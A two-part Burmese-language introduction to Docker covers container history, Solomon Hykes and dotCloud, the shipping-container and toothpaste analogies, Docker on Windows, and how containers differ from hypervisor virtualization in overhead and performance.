Virtualization နည်းပညာ တွေကို တွင်တွင်ကျယ်ကျယ် အသုံးပြုလာတဲ့နောက်ပိုင်းမှာတော့ Virtual Machine တွေကို အသုံးချပြီးတော့ အနီးစပ်ဆုံး environment တစ်ခုကို အဆင့်ဆင့်မှာ တည်ဆောက်ပြီး develop လုပ်ကြတဲ့ အတွက် အနည်းငယ်တော့ ပြဿနာ နည်းသွားပါတယ်။ Sandboxing လုပ်တယ်လို့လည်း ပြောကြပါတယ်။ တခြား Sandboxing လုပ်တဲ့ tool တွေလည်းရှိပါတယ်။ တခုရှိတာက Sandbox လုပ်တဲ့အခါမှာလည်း အသုံးပြုတဲ့ tool တွေက ပြီးပြည့်စုံတဲ့ environment ကို အလုံးစုံ မပေးနိုင်ပြန်ပါဘူး။ အဲ့ဒီတော့ libraries စုံစုံလင်လင် နဲ့ သုံးချင်ရင် VM ပေါ်မှာ ကိုယ်လိုချင်တဲ့ environment ကို ဖန်တီးပြီးတော့ ကြိုတင်ပြင်ဆင်ရပါတယ်။ VM ကို အသုံးဖို့အတွက် Hypervisor လိုလို့ install လုပ်ရပါတယ်။ ပြီးတော့မှ VM ကို configure လုပ်ရပြန်ပါတယ်။ မပြီးသေးပါဘူး… VM ပေါ်မှာ သုံးမယ့် Operating System ကို install လုပ်၊ configure လုပ်ရပြန်ပါတယ်။ ပြီးမှလိုအပ်တဲ့ dependencies တွေကို download လုပ်ပြီး install လုပ်ရပါတယ်။ လိုအပ်ပါက VM ရဲ့ OS ကို update လုပ်ရပါတယ်။ နောက်ပြီးတော့ VM က resource intensive ဖြစ်ပါတယ်။ ဆိုလိုတာက VM ကို run ဖို့အတွက် CPU နဲ့ RAM လုံလုံလောက်လောက်ရှိဖို့လိုပါတယ်။ VM က software development process မှာ သိသိသာသာ အဆင်ပြေအောင် ဖြေရှင်းနိုင်ပေမယ့် overhead တွေတော့ရှိပါတယ်။ ဒီနေရာမှာ မေးစရာရှိတာက Sandbox လိုမျိုးပေါ့တော့ ပေါ့ပါရဲ့ မပြည့်စုံ၊ VM လိုမျိုး ပြည့်စုံတော့ ပြည့်စုံပါရဲ့ overhead ကများ နှစ်ခုမှာ သူတို့ရဲ့ ကောင်းတာလေးတွေယူပြီးတော့ တည်ဆောက်ဖို့အတွက် tool မျိုးမရှိနိုင်ဘူးလား။ Containerization ဆိုတဲ့ နည်းပညာ ဟာ အဲ့ဒီကောင်းတဲ့ trait နှစ်ခုပေါင်းစပ်ထားတဲ့ platform သို့မဟုတ် tool ဆိုရင်လည်းမှား နိုင်မယ်မထင်ပါဘူး။ ဥပမာ Linux Containers (LXC) မျိုးဟာကို ပြောတာပါ။ LXC ကတော့ Linux kernel ရဲ့ cgroups နဲ့ namespace isolation နှစ်ခုရဲ့ စွမ်းဆောင်နိုင်ရည်ပေါ်မှာ အခြေခံပြီးတော့ operating-system-level virtualization ဆိုတဲ့ feature ကိုပေးနိုင်တဲ့ နည်းပညာတစ်ခုဖြစ်ပါတယ်။ Docker ဟာလည်း LXC လိုမျိုး ခပ်ဆင်ဆင် containerization နည်းပညာတစ်ခုပါ။

Docker ဟာ နည်းပညာ အသစ်တော့မဟုတ်ပါဘူး။ အရှေ့မှာပြောထားတဲ့ reinvent the wheel ဆိုသလိုမျိုး ရှိပြီးသား နည်းပညာတစ်ခုကို ပြန်ပြီးတော့ ချဲ့ကားတီထွင်လိုက်တဲ့ နည်းပညာတစ်ခုပါ။ နောက်ပြီးတော့ containers ဆိုတဲ့ဟာကလည်း ဟိုအရင်ကတည်း Linux ကမ္ဘာမှာ တွင်တွင်ကျယ်ကျယ် အသုံးပြုတဲ့ နည်းပညာပါ။ ဥပမာ OpenVZ လိုမျိုး operating system-level virtualization ဟာ container ဆိုတဲ့ concept ကို အသုံးပြုပါတယ်။ OS/Full container လိုလည်းခေါ်ကြပါတယ်။ Docker မှာတော့ application container လို့ခေါ်ကြပါတယ်။ နာမည်အတိုင်း OS/Full container ဆိုတာကတော့ VM နဲ့ တော်တော်လေးသွားဆင်တူပါတယ်။ အလုပ်လုပ်ပုံတော့ ကွာပါတယ်။ OS/Full container အတွက်တော့ LXC တို့၊ BSD Jails တို့ လိုမျိုး နည်းပညာတွေရှိပါတယ်။ Application container အတွက်တော့ Docker တို့၊ Rocket တို့လိုမျိုး နည်းပညာတွေရှိပါတယ်။ ဒီ post မှာကတော့ application container ဖြစ်တဲ့ Docker အကြောင်းဖြစ်တဲ့အတွက် တခြား containerization တွေအကြောင်းကို ဖြန့်ပြီးတော့ မရေးတော့ပါဘူး။ Docker ဘယ်လို မွေးဖွားလာပုံကို ဆက်လိုက်ရအောင်…

### Docker စတင်ပုံအကျဉ်း

Docker ကို Solomon Hykes ဆိုတဲ့ ပုဂ္ဂိုလ်က ၁၃ရက်နေ့ မတ်လ ၂၀၁၃ နှစ်မှာ open source အနေနဲ့ စတင်မိတ်ဆက်ပေးလိုက်ပါတယ်။ သူဟာ ပြင်သစ်ကုမ္ပဏီဖြစ်တဲ့ dotCloud ကို စဦးတည်ထောင်သူတစ်ယောက်လည်းဖြစ်ပါတယ်။ dotCloud ဟာ platform-as-a-service (PaaS) ကုမ္ပဏီ တစ်ခုပါ။ အစပိုင်းမှာတော့ Docker ဟာ dotCloud အတွင်းမှာပဲ အသုံးပြုဖို့အတွက်ပါ။ Solomon Hykes ဟာ အရှေ့မှာပြောခဲ့တဲ့ shipping process ရှုပ်ထွေးပုံကို ဖြေရှင်းဖို့အတွက် နည်းပညာတစ်ခုဖန်းတီးရာမှာ Docker ဖြစ်လာပါတော့တယ်။ နောက်ပိုင်းမှာတော့ github ပေါ်မှာ open source project အနေနဲ့ Docker ကို မိတ်ဆက်ပေးပြီးနောက် တိုးတက်မှု အဟုန်ဟာ ထိပ်ဆုံးကိုရောက်ခဲ့တယ်လို့ ဆိုရမှာပါပဲ။ လက်ရှိမှာတော့ Docker ဟာ နေရာတိုင်းမှာ integrate လုပ်လို့ရတဲ့ နည်းပညာ တစ်ခုလိုဖြစ်နေပါပြီ။ Microsoft လိုမျိုး heavily proprietary ကုမ္ပဏီကြီးကတောင် Docker ကို adopt လုပ်ပါတယ်။ Cloud Computing မှာတော့ Docker ဟာ နေရာတော်တော်လေးလည်းရလာပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4b0b5e7c62ae03472583be1ca809bf8b655cb050%2Fsolomon-hykes-768x512.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Solomon Hykes က Docker ကို မိတ်ဆက်တဲ့ပွဲမှာ ဘာဖြစ်လို့ Docker ကို ဖန်တီး တည်ဆောက်လိုက်ပုံကို စိတ်ဝင်စားဖွယ်ရာ ရှင်းပြပါတယ်။ သူ့ ကုမ္ပဏီဖြစ်တဲ့ dotCloud ဟာ application ပေါင်းများစွာကို deploy လုပ်ရပါတယ်။ အဲ့ဒီမှာ အထက်မှာရှင်းပြပြီးဖြစ်တဲ့ shipping process မှာ ပြဿနာတွေနဲ့ နေ့စဉ် ကြုံတွေရပါတယ်။ ပြဿနာ ဖြေရှင်းဖို့အတွက် အဖြေရှာကြတဲ့အခါမှာ Solomon Hykes က တခြား အပြင်က ကုန်တင်သင်္ဘောကြီးတွေ ပေါ်မှာ ပစ္စည်းတွေကို ဘယ်လိုတင်ဆောင်သလဲဆိုတာကို သွားပြီးတော့ သတိရလိုက်ပါတယ်။ ပြီးတော့ အဲ့ဒီ ကုန်တင် သင်္ဘော တွေရဲ့ လုပ်ငန်းစဉ်မှာ ဘယ်လိုမျိုး အဆင့်ဆင့်တိုးတက် ပြောင်းလဲလာသလဲဆိုတာလည်း ရှာဖွေကြည့်ပါတဲ့တယ်။ ဟိုအရင်က ကုန်တင်သင်္ဘောတွေဟာ တင်ဆောင်ရမယ့် ကုန်ပစ္စည်းတွေကို တစ်ခုနဲ့ တစ်ခု ထပ်ထပ်ပြီးတော့ ဒီအတိုင်း သယ်ဆောင်ကြပါတယ်။ ကုန်ပစ္စည်းက အမျိုးအစားတူရင် ဘာပြဿနာမှ မရှိပါဘူး။ သို့သော်… အမျိုးအစားမတူရင်တော့ ပြဿနာတော်တော်လေးများပါတယ်။ ဥပမာ ကုန်သယ်တစ်ဦးက အာလူး တင်ချင်တယ်၊ နောက် တစ်ဦးက စန္ဒရားတင်ချင်တယ်၊ နောက်တစ်ဦးက ဝိုင် (wine) ကို ဂါလံပုံး နဲ့တင်ချင်တယ်လို့ ဆိုကြပါတော့။ ပြဿနာက အဲ့မှာစတာပါပဲ… အာလူးပေါ်ကို စန္ဒရား ထပ်ပြီးတော့တင်လို့ မရသလို စန္ဒရားပေါ်မှာ အားလူး သွားပြီးထပ်တင်လို့ မရပါဘူး။ ပြီးတော့ တင်လာတဲ့ ဝိုင်က မတော်တဆ ပေါက်ပြီးတော့ ထွက်ကြရင် အာလူးကော၊ စန္ဒရားပါ ပျက်စီးပါပြီ။ Logistic မှာ ပြဿနာများသလို နေရာလည်းကုန် အချိန်လည်း ကုန်ခဲ့ရပါတယ်။ အဲ့ဒါကို ဖြေရှင်းဖို့ အတွက် ကုန်တင် သင်္ဘော ကုမ္ပဏီတွေက အလေးချိန်လည်းတူ အရွယ်အစားလည်းတူ ပုံစံလည်းတူ တဲ့ လက်ရှိ ကုန်တင်သင်္ဘောတွေ မှာသုံးနေတဲ့ container ကို တသတ်မှတ်တည်း သုံးဖို့ကို သဘောတူညီလိုက်ပါတယ်။ အဲ့ဒီ container တွေကြောင့် ကုန်ပစ္စည်းတွေကို သယ်ယူရာမှာ အများကြီးလွယ်ကူလာပါတယ်။ မတူတဲ့ ကုန်ပစ္စည်းတွေကို သူ့ container နဲ့သူ ထည့်ပြီးတော့ သယ်ယူပို့ဆောင်လာကြပါတယ်။ ကုန်ကူး သင်္ဘော ကုမ္ပဏီတွေက ကုန်ပို့ချင်တဲ့သူတွေကို လိုအပ်တဲ့ container အရေအတွက်ကိုပေးလိုက်ပါတယ်။ ကုန်ပို့တဲ့သူက container ထဲမှာသူတို့ လိုသလို ပစ္စည်းတွေကို ထည့်လိုက်ပါတယ်။ ပြီးတော့ ကုန်ကူး သင်္ဘော ကုမ္ပဏီက container လိုက်ကို အတင်အချလုပ်ပါတယ်။ container ထဲမှာဘာပါသလဲဆိုတာမသိလို၊ ကွဲရှပျက်စီးပါကလည်း တာဝန်မယူပါဘူး။ အဲ့ဒါက ကုန်ပို့တဲ့သူရဲ့ တာဝန်ပါ။ ဒါအပြင် အဲ့ဒီ container တွေကို ကုန်ကူး သင်္ဘောမှာ သာမက ကုန်တင်ကား၊ ရထားလိုမျိုး မတူတဲ့ ယာဉ်တွေပေါ်မှာပါ ဘယ်လို အခက်အခဲမှ မရှိပဲနဲ့ တင်ဆောင်နိုင်တဲ့အတွက် တစ်နေရာကနေ တစ်နေရာ သယ်ဆောင်ရတာလည်း ပိုမိုလွယ်သွား ပြန်ပါတယ်။ ဒီဥပမာမှာကြည့်မယ်ဆိုရင် အထက်ကရှင်းပြထားတဲ့ ကုန်ပစ္စည်း သယ်ယူပို့ဆောင်ရေးလုပ်ငန်းမှာ container ဟာ logistic ပိုင်းက ပြဿနာတွေတော်တော်များများကို ဖြေရှင်းလိုက်ပါတယ်။ Solomon Hykes ဟာအဲ့ဒီ အပြင်က shipping process ကြည့်ပြီးတော့ နည်းပညာပိုင်းမှာ container တွေကို ကျယ်ကျယ်ပြန့်ပြန့် အသုံးမပြုနိုင်သေးတာကို အံ့အားသင့်ခဲ့ရပါတယ်တဲ့။ Docker ဆိုတဲ့နာမည်နဲ့ လက်ရှိ Docker ရဲ့ logo ကိုကြည့်လိုက်ရင် ဆိုလိုရင်းကို နားလည်လိမ့်မယ်လို့ထင်ပါတယ်။ နောက်ပြီး အပြင်က shipping process ရဲ့ concept ကိုယူပြီးတော့ Docker image နဲ့ application container ကို စတင်တည်ဆောက်ခဲ့ပါတယ်တဲ့။ အစပိုင်းမှာ Docker ကို dotCloud အတွင်းမှာသာ သုံးဖို့ ရည်ရွယ်ခဲ့သော်လည်း နောက်မှာတော့ github ပေါ်က open source project တစ်ခုအနေနဲ့ Solomon Hykesက မိတ်ဆက်ပေးလိုက်ပါတယ်။

### Conventional containerization နဲ့ Docker ကွာခြားပုံ

ဒီနေရာမှာ ပြောစရာရှိတာက container ဆိုတာအရင်ကတည်းရှိတယ်၊ လက်တွေ့မှာလည်း အသုံးပြုလို့ရတယ် ဆိုရင်ဘယ်ဖြစ်လို့ Docker လိုသလဲဆိုတဲ့ မေးခွန်းပါ။ ကွာသလားဆိုတော့ ကွာပါတယ်၊ အလုံးစုံကွာခြားသွားတာမျိုးတော့လည်း မဟုတ်ပါဘူး။ Boston မှာလုပ်တဲ့ OpenStack 2017 Summit မှာ OpenStack က Adrian Otto ဆိုတဲ့ပုဂ္ဂိုလ် ရှင်းပြသွားတာကို သဘောကျလို့ သူ ပြောတဲ့ story လေး တစ်ခုကို တင်ပြသွားပါ့မယ်။ သူက သွားတိုက်ဆေးလေး အကြောင်းလေးကို Docker container အကြောင်းမပြောခင်မှာ စကားပုလ္လင်ခံပါတယ်။ သူပြောသွားတဲ့ သွားတိုက်ဆေး ပုံပြင်လေး အကြောင်းကို နည်းနည်းလေးပြန် ဝေမျှချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c618825bf90c55acc933658d95c80456f75a2158%2FFirstVersions_Colgate-Dental-Powder.png?alt=media" alt=""><figcaption></figcaption></figure>

၁၈၇၃ ခုနှစ်မှာ Colgate က သွားတိုက်ဆေးကို အမုန့် (dental powder) ပုံစံနဲ့ ဆေးပုလင်းထဲမှာ စတင်ထည့်ရောင်းပါတယ်။ နောင်နှစ်ပေါင်း နှစ်ဆယ်ကျော်လောက်ကျမှ သွားတိုက်ဆေးကို လက်ရှိအသုံးပြုတဲ့ dental cream ပုံစံမျိုး ဖြစ်လာတာပါတဲ့။ နှစ်တိုင်း Colgate သွားတိုက်ဆေးကို ကောင်းသတဲ့ ကောင်းအောင် လုပ်လာလိုက်တာ ၁၉၀၈ ခုနှစ်လောက်တော့မှာတော့ ရှိပြီးသား သွားတိုက်ဆေးပုံစံထက် ပိုကောင်းအောင်လုပ်လို့ မရလောက်တော့လို့ သွားတိုက်ဆေးထည့်တဲ့ tube ကို ပိုကောင်းအောင်လို့လုပ်နေရပါတယ်လို့ဆိုပါတယ်။ ၁၉၆၂ ခုနှစ်မှာတော့ Colgate ဟာ Colgate Research Center ကိုစတင်တည်ထောင်လိုက်ပါတယ်။ နောက် ၁၉၇၈ ခုနှစ်ကြတော့ အဲ့ဒီ Research Center မှာလုပ်တဲ့ Lab Assistant တစ်ယောက်က တခြားလူတွေနဲ့ မတူတဲ့ idea တစ်ခုကိုရပါတယ်။ သူမက Colgate က management ကို ချင်းကပ်ပြီးတော့ အခုလိုပြောပါတယ်။ ပြောတဲ့ဟာကတော့ သူမမှာ ရောင်းအားမြင့်တက်အောင်လို့ လုပ်လို့ရတဲ့ idea တစ်ခုရှိတယ်တဲ့၊ အဲ့ဒီ idea အတွက် Colgate အနေနဲ့ ကုန်ကျစရိတ် လုံးဝမရှိဘူးလို့လည်း ဆိုပြန်ပါတယ်။ သူမဟာ management ကို သူမ idea ကိုယူသုံးစေလိုပြီး အကျိုးအမြတ်နှစ်ဆ လက်ရှိထက်ပိုရပါက သူမကို အဲ့ဒီ အမြတ်ရဲ့ ၁ ရာခိုင်နှုန်း ကိုသာပေးဖို့ တောင်းဆိုပါတယ်။ အကျိုးအမြတ်မရှိပါက ဘာမှာပေးစရာ မလိုဘူးလို့ သူမကပြောတော့ management ကလည်း သဘောတွေ့သွားပါတယ်။ ဟုတ်ပြီပေါ့… စမ်းကြည့်မယ်ပေါ့ ဆိုပြီး Colgate ရဲ့ management ကလည်း သဘောတူလိုက်ပါတယ်။ လိုအပ်တဲ့ စာချုပ်စာတမ်းတွေကို ချုပ်ဆိုပြီးတဲ့နောက်မှာ management က ကဲ… မင်းရဲ့ idea ကို မှတ်တမ်းတင် စာတန်းပြုစုပေါ့လို့လည်းပြောတဲ့အချိန်မှာ သူမက အဲ့ဒါတွေမလိုပါဘူးတဲ့၊ သူမ idea က စကားလုံး ၆လုံးတည်းမို့ အခုချက်ချင်းပြောပေးပါမယ်လို့ဆိုပါတယ်။ အဲ့ဒီစကား ၆လုံးကတော့တဲ့ လက်ရှိ tube ရဲ့ cream ထွက်တဲ့ အပေါက်ကို နှစ်ဆချဲ့လိုက်ပါတဲ့။ management ကလည်း အဲ့ဒါကို လက်ခံပြီး စမ်းကြည့်တဲ့အခါမှာ တွက်ထားသလိုပဲ အမြတ်အစွန်း နှစ်ဆဖြစ်သွားပါတယ်ပေါ့။ ပုံပြင်သက်သက်ပါတဲ့ အပြင်မှာ တကယ်ဖြစ်ခဲ့တာတော့ မဟုတ်ပါဘူးတဲ့။ ဆိုလိုရင်းက ရိုးရှင်းတဲ့ idea ကနေပြီးတော့ သက်ရောက်မှုမှာ အများကြီးကွာခြားသွားနိုင်ပုံကို တင်စားပြောဆိုလိုတာဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1ef6e1b613dd10958a3358ba977bb59de53a332c%2Furbancode-deploy-and-docker-containers-connect-the-dots-6-638.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီလိုပါပဲတဲ့… Docker ဟာရှိပြီးသား Linux ရဲ့ container နည်းပညာကိုယူပြီးတော့ ဆန်းသစ်ထားတဲ့ နည်းပညာတစ်ခုပါ။ conventional container နဲ့ အများကြီး မကွာသွားပေမယ့် သက်ရောက်မှုမှာတော့ များစွာကွာခြား ပါတယ်။ တကယ်တမ်း ကွာခြားချက်ကတော့ container image သို့မဟုတ် Docker image ဆိုတဲ့ လိုအပ်နေတဲ့ component ကို container နည်းပညာမှာထည့်သုံးလိုက်ပြီး၊ ကျန်တဲ့ အပိုင်းလေးတွေမှာ လိုသလို ပြင်ဆင်ပြီး production မှာထိသုံးလို့ ရအောင်ထိ reinvent လုပ်လိုက်သဘောပါ။ ထူးခြားတာက Docker ဟာ lightweight ဖြစ်ပြီး DevOp အပိုင်းက နည်းပညာသမားတွေအတွက် သုံးရတာလည်း လွယ်ကူတာကြောင့် တော်တော်များများက adopt လုပ်လာကြပါတယ်။ နောက်တစ်ခုက open source project ဖြစ်တဲ့အတွက် backend မှာတိုးတက်မှုဟာ တော်တော်လေးမြန်ပါတယ်။ Docker ရဲ့သက်တမ်းဟာ အခုဆိုရင် ၄နှစ်ကျော် ၅နှစ်လောက်ပဲရှိသေးသော်လည်း အသုံးပြုမူ အပိုင်းမှာ တော်တော်လေးကို ရင့်ကျက်နေပြီလို့ဆိုရမှာပါ။

ဒီတပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။ နောက် တပိုင်းမှာတော့ Docker ဘယ်လို အလုပ်လုပ်သလဲ၊ ဘယ်လိုမျိုး သုံးသလဲ၊ security ပိုင်းမှာ virtualization နဲ့ ဘယ်လို ကွာခြားသလဲဆိုတာကို ဆက်လက် ဆွေးနွေး တင်ပြချင်ပါတယ်။


# Docker မိတ်ဆက် အပိုင်း(၂)

အရှေ့ post မှာ Docker နဲ့ ပတ်သတ်ပြီး စိတ်ဝင်စားဖို့ ကောင်းတဲ့ အကြောင်းအရာလေး တွေကိုမိတ်ဆက်ပေးခဲ့ပါတယ်။ အခုဒီတစ်ခုမှာတော့ Docker ရဲ့ အလုပ်လုပ်ပုံနဲ့ virtualization နည်းပညာနဲ့ ကွာခြားချက်လေးတွေကို ဆက်ပြီးတော့ ဆွေးနွေးချင်ပါတယ်။ တခါတခါ Docker ကို Hypervisor virtualization နဲ့ အထင်မှားတတ်ပါတယ်။ ဆိုကြပါတော့… Hyper-V တို့ VMware ESXi တို့လို Hypervisor virtualization ဟာ Docker နဲ့ သဘောတရားအရ ဆင်တူပေမယ့် တကယ်တော့ backend အလုပ်လုပ်ပုံကွားခြားသလို၊ မတူနဲ့ container နည်းပညာနောက်တစ်ခုကို အသုံးပြုထားတာပါ။ နောက်တစ်ခုက Docker ဟာ Linux kernel ပေါ်မှာပဲ အလုပ်လုပ်တယ်ဆိုကို ရှင်းရှင်းလင်းလင်းသိထားဖို့လိုပါတယ်။ တခြား kernel မှာဆိုရင် Linux kernel subsystem သို့မဟုတ် Linux Virtual Machine တစ်ခုကို ကြားခံ အနေနဲ့ အသုံးပြုရမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bf0a100f47a5414d8edb698e4d5f846df46f591b%2Fwindows-10-docker.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Microsoft က Docker ကို adopt လုပ်တယ်လို့ အရှေ့မှာ ပြောခဲ့ပါတယ်။ တကယ်တန်းတော့ Microsoft က Linux kernel တစ်ခုလုံးကို သူ့ OS မှာ adopt လုပ်ဖို့ ကြိုးစားနေတာ ၂၀၁၆ ခုနှစ်လောက်ထဲပါ။ စာဖတ်သူတို့လည်း Microsoft Loves Linux ဆိုတဲ့ဟာ banner တွေကို ဟိုနားတစ ဒီနားတစ တွေ့လိုက်မိမယ်လို့ ထင်ပါတယ်။ တချိန်တုန်းကလည်း Novell ကို Microsoft က သူ့ရဲ့ အောက်မှာ ထားဖို့ကိုလည်း ကြိုးစားလိုက်သေးပါတယ်။ အကြောင်းအမျိုးမျိုး ကြောင့် Novell deal ပျက်သွားခဲ့ပါတယ်။ အခုနောက်ပိုင်းမှာတော့ Microsoft ရဲ့ ချင်းကပ်ပုံ ပိုပြီးတော့ သိမ်မွေ့တယ်လို့ စာရေးသူ တကိုယ်ရေး မြင်ပါတယ်။ Linux kernel နဲ့ တချို့ Linux open source project တွေမှာ Microsoft က ဝင်ပြီးတော့ contributor လုပ်ပါတယ်။ တချို့ project တွေမှာဆို Microsoft က main contributor အနေနဲ့တောင် ဖြစ်လို့နေပါတယ်။ Open source community ကတော့ Microsoft ရဲ့ contribution လက်ခံပါတယ်။ အဲ့ဒါကြောင့်လည်း နောက်ပိုင်းမှာ Microsoft ဟာ Linux kernel ကို သူ့ရဲ့ OS မှာ ပေါ်ပေါ်တင်တင် အခုဆိုယူသုံးပါတယ်။ တနည်းက Windows 10 မှာ Linux ကို subsystem နဲ့ သုံးလို့ ရအောင် ထည့်ထားပေးပါတယ်။ စာရေးသူ အသုံးပြုကြည့်သလောက်တော့ အဆင်ပြေလှတယ်တော့ မဟုတ်ပါဘူး။ Experimental add-on feature အနေနဲ့ Windows 10 မှာပါလာတာပါ။ နောက်တစ်နည်းက Docker ကို Microsoft မှာ run လို့ရအောင်လို့ Windows ရဲ့ Hyper-V hypervisor သုံးပြီးတော့ Molly Linux VM ဆိုတာကို run လိုက်ပါတယ်။ အဲ့ဒီ VM ပေါ်မှာ ထပ်ပြီးတော့ Docker Engine တင်လိုက်ပြီးကာမှ Docker Containers တွေကို အပေါ်မှာ ထပ်ပြီး တင်လိုက်ပါတယ်။ မေးစရာရှိတာက VM မသုံးချင်လို့ Docker သုံးတာကို VM ပေါ်မှာ Docker တင်တော့ overhead မရှိဘူးလားဆိုတာပါ။ Overhead ရှိပါတယ်။ သုံးလို့လည်း အဆင်မပြေပါဘူး။ ဆိုလိုရင်းက Docker သုံးမယ်ဆိုရင် Linux distro တစ်ခုကို ကိုယ့်ရဲ့ စက်ပေါ်မှာ OS အနေနဲ့သုံးသင့်ပါတယ်။ ကိုယ်က Windows လည်းသုံးချင်သေးတယ်ဆိုရင်တော့ Ubuntu နဲ့ dual boot တင်ပြီးတော့ Docker ကို Linux ဘက်မှာ အသုံးပြုသင့်ပါတယ်။ နောက်ဆုံး လုံးဝ အဆင်မပြေဘူးဆိုမှ VM မှာ ကိုယ်ကြိုက်တဲ့ distro ကို install လုပ်ပြီးတော့၊ အဲ့ဒီ VM မှာ Docker တင်ပြီးတော့သုံးသင့်ပါတယ်။ Docker အတွက် Microsoft ရဲ့ implementation ကို တတ်နိုင်သလောက် ရှောင်ဖို့ကို တိုက်တွန်းချင်ပါတယ်။

### Virtualization နဲ့ Docker ဘာကွာသလဲ

အထက်မှာလည်း နည်းနည်းတော့ရှင်းထားပြီးပါပြီ။ ဒါပေမယ့်လည်း အသေးစိတ်ရှင်းပြရင် အကျိုးရှိမယ်ထင်လို့ ထပ်ပြီးတော့ သပ်သပ်ခေါင်းစဉ်တစ်ခုမှာ ထက်ပြီးတော့ရှင်းရတာပါ။ လက်ရှိအသုံးပြုတဲ့ virtualization နည်းပညာမှာ အောက်မှာ ပြထားတဲ အတိုင်း Docker ထက် layer တွေအဆင့်ဆင့် ရှိတာကို တွေ့ရမှာဖြစ် ပါတယ်။ ဥပမာ Hypervisor နဲ့ Guest OS ဆိုတာတွေက Docker ထက် သိသိသာသာ ပိုတဲ့ အပိုင်းလေး တွေပါ။ တကယ်တန်း implement လုပ်တဲ့အခါမှာလည်း virtualization နည်းပညာမှာ အဆင့်တွေအများကြီးပါဝင်ပါတယ်။ ပထမ အပိုင်းမှာလည်း VM တစ်လုံးကို application တစ်ခုအတွက် ပြင်ဆင်ရပုံကို ရှင်းပြထားပြီးပါပြီ။ ဘယ်လိုပဲ VM တစ်လုံးရဖို့ အဆင့်တွေများများ နောက်ဆုံးတော့လိုရင်းက application တစ်ခုကို develop လုပ်ဖို့၊ အသုံးပြုဖို့ပါပဲ။ လက်တွေ့မှာတော့ အဆုံးသတ်ရတာက application ဆီပဲရောက်ရတာပါ။ Application centric ဖြစ်တဲ့ ခေတ်လို့ပဲ ဆိုရတော့မှာပါ။ ဒါဆိုရင် Virtualization ဆိုတဲ့ backend infrastructure က အချိန်လည်းကုန်၊ layer တွေလည်းများတာကြောင့် overhead လည်းများပါတယ်။ ဥပမာ storage အပိုင်းမှာပဲကြည့်လိုက်ရအောင်… physical server ရဲ့ I/O rate ဟာ physical hard drive မှာ ပိုပြီး ထိရောက်မှုရှိပြီး ပိုလည်းသွက်ပါတယ်။ VM level ရောက်တဲ့ အခါမှာတော့ Layer အဆင့်ဆင့်ကို ဖြတ်သန်းလိုက်ရတဲ့အတွက် Latency အနည်းနဲ့ အများတော့ရှိပါတယ်။ ဒါဟာ storage တစ်ခုတည်းပဲရှိပါသေးတယ်။ VM ကိုသုံးမယ်ဆို အဲ့ဒီ VM မှာ install လုပ်ထားတဲ့ OS ရဲ့ kernel ကိုသာ သုံးရတာဖြစ်တဲ့ အတွက် performance အပိုင်းမှာလည်း သိသိသာသာကွာနိုင်ပါတယ်။ အရှေ့မှာ ပြောတဲ့ resource intensive ဖြစ်တယ်ဆိုတာ ဒါကိုပြောတာပါ။ VM တစ်လုံးစီ အတွက် dedicated virtual hardware နဲ့ kernel အတွက် host machine ပေါ်မှာတော်တော်လည်း ဝန်ရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-63fb2b93900a9d1cf2a738268c8cbccf4b3bf24a%2FVM402x.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9be3cacd8c5f8932674c0058f20cb8e9d02865b6%2FContainer402x.png?alt=media" alt=""><figcaption></figcaption></figure>

Docker ဟာအဲ့ဒီမှာ တော်တော်လေးကွာသွားပါတယ်။ VM မှာလိုမျိုး virtual disk ကိုဖြတ်ပြီးတဲ့ အခါ latency ရတာမျိုးမရှိပါဘူး။ Docker Engine နဲ့ Linux kernel တို့ စွမ်းဆောင်ရည်ကြောင့် physical hard disk မှာရတဲ့ I/O rate နည်းတူရလာပါတယ်။ နောက်ပြီး Docker ဟာ Linux Host ရဲ့ kernel ကိုသာ အချိုးကျ share သုံးတဲ့အတွက် physical host မှာရနိုင်တဲ့ performance မျိုးကိုရပါတယ်။ ဆိုလိုချင်တာက Docker ကိုသုံးလိုက်ခြင်းအားဖြင့် overhead နည်းသွားတဲ့ အတွက် Docker application container ဟာ VM ထက် performance ပိုင်းမှာ အကျိုးများပါတယ်။ Libraries file တွေ binary file တွေနဲ့ dependencies မှာလည်း VM တုန်းကလိုမျိုး Guest OS level အထဲသွားပြီး လိုတိုးပိုလျှော့ လုပ်စရာမလိုတော့ပဲ ကိုယ်သုံးမယ့် Docker container ပေါ်မှာ မူတည်ပြီးတော့ ကိုယ့်စိတ်ကြိုက် libs/bins/denpendencies တွေကို အဆင်ပြေသလိုယူသုံးသွားလို့ရပါတယ်။

